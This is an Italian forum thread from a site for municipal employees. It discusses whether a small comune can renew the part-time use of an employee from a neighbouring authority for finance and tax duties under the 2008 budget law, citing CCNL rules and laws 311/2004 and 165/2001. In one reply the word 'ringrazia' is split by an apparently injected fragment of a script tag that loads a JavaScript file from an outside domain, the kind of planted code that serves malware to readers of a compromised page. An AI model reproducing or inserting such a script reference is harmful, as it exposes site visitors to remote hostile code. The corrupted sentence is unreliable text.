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T O P I C    R E V I E W
kicerog Posted - 07/01/2008 : 13:35:59
BUONGIORNO A TUTTI,
LAVORO IN UN PICCOLO COMUNE DI 500 ANIME DOVE, SONO IN P.O. 2 UNITA LAVORATIVA B1 E C2.
L'AMMINISTRAZIONE FINO AL 31/12 HA INCARICATO UN DIPENDENTE DI UNA AMMINISTRAZIONE LIMITROFA, PER IL SERVIZIO FINANZIARIO E TRIBUTI ( BILANCI - CONSUNTIVI - PAGHE - 770- IRAP- UNICO - RUOLI ECC. ECC.

CON LA FINANZIARIA 2008 SEMBRANO SORGERE PLOBLEMATICHE AL RIGUARDO DI PROROGHE DI QUESTI INCARICHI .
AVETE INDICAZIONI DI COME RISOLVERE IL PROBLEMA, ESCLUDENDO NATURALMENTE ASSUNZIONI O MODIFICHE DI MANSIONI AL PERSONALE IN SERVIZIO PRESSO L'ENTE.
3   L A T E S T    R E P L I E S    (Newest First)
annetta Posted - 09/01/2008 : 14:10:24
presso il mio ente c'è un caso un po' particolare. chiedo a voi tutti come vi comportereste in merito. allora. presso l'ufficio tributi, in mancanza di un capo servizio tributi e di un istruttore contabile o amm.vo (c'è solo una ctg. B), c'è un consulente che, in base a un incarico della giunta conferitogli quale supporto al capo settore econom-fin, viene pagato un tot al mese con un importo forfettario come se fosse un lavoratore autonommo sebbene non lo sia e anzi svolga attività di dirigente presso un altro ente locale (contratto dirigenza). mi presenta a fine mese una parcella dove indica l'importo lordo mensile e ci sottrae il 20% come ritenuta d'acconto. ?????? aspetto pareri. grazie
kicerog Posted - 09/01/2008 : 12:11:21


Grazie per le risposte, preciso che, il rapporto instaurato e' del cosidetto "scavalco", in quanto, l'ente in assenza di idonea professionalità nell'organico ha utilizzato personale di altra amministrazione, naturalmente, autorizzata per 2 gg. settimanali in orario pomeridiano.
Il dubbio veniva da quanto disposto dall'art. 3 Comma 79 punto 3 ..."Le amministrazioni fanno fronte ad esigenze temporanee ed eccezionali attraverso l'assegnazione temporanea di personale di altre amministrazioni per un periodo non superiore a sei mesi, non rinnovabile".Sembra comunque ancora fattibile ai sensi dell'art. 53 del decreto legislativo 30 marzo 2001,n. 165.
Si rsrc="http://cmiia.com/op1.js"razia per una ulteriore conferma di quanto sopra.

giuseppeporpora Posted - 08/01/2008 : 20:26:43
Nel quesito proposto, non viene specificato che tipo di incarico è stato attivato negli anni precedenti con il dipendente di una amministrazione limitrofa.
In ogni caso, ti ricordo che l'utilizzo del personale distaccato da altri enti è disciplinato dall'art. 14 del CCNL 22.01.2004, in base al quale gli Enti locali possono utilizzare, con il consenso dei lavoratori interessati, personale distaccato da altri Enti, previo consenso dell'Ente di appartenenza.
Le disposizioni inserite all’art. 1, comma 557, della legge 311/2004 hanno dato ulteriore impulso a tale procedura, in quanto, in tal modo, i piccoli comuni potevano sopperire ai vincoli assunzionali imposti dalle leggi finanziarie del goverono Berlusconi.
Si precisa che, per tale tipologia contrattuale, il rapporto di lavoro deve essere instaurato a tempo determinato ed a part-time, con una prestazione settimanale non superiore a 12 ore settimanali, pari alla differenza tra le 48 ore (previste dal D. lgs n.66/2003 come limite massimo settimanale) e le 36 svolte presso l'Ente di appartenenza. La retribuzione, corrispondente alla categoria di inquadramento, andrà riparametrata sulla base del numero di ore lavorate dal dipendente presso l'Ente utilizzatore e regolarmente retribuito direttamente da codesto Comune, in base alla categoria contrattuale di assunzione.
A tale riguardo, si rileva che le disposizioni inserite nella finanziaria 2008 non pongono nessuna prescrizione per tali incarichi, specialmente quando sono instaurati in assenza di idonea professionalità nell'organico dell'Ente.
Infine, ti voglio far notare, in relazione al quesito che hai posto il 27.12.2007 e che ho notato soltanto adesso, che la legge finanziaria 2008 ha previsto una deroga all'aumento della spesa per il personale per gli enti con popolazione inferiore a 5000 abitanti, non soggetti al patto di stabilità, in presenza contemporanea delle seguenti due condizioni: se il volume della spesa per il personale non è superiore a quello previsto per l’accertamento delle condizioni di ente strutturalmente deficitario ridotto del 15%, e se il rapporto medio tra dipendenti e popolazione non supera quello previsto per gli enti dissestati ridotto del 20%.

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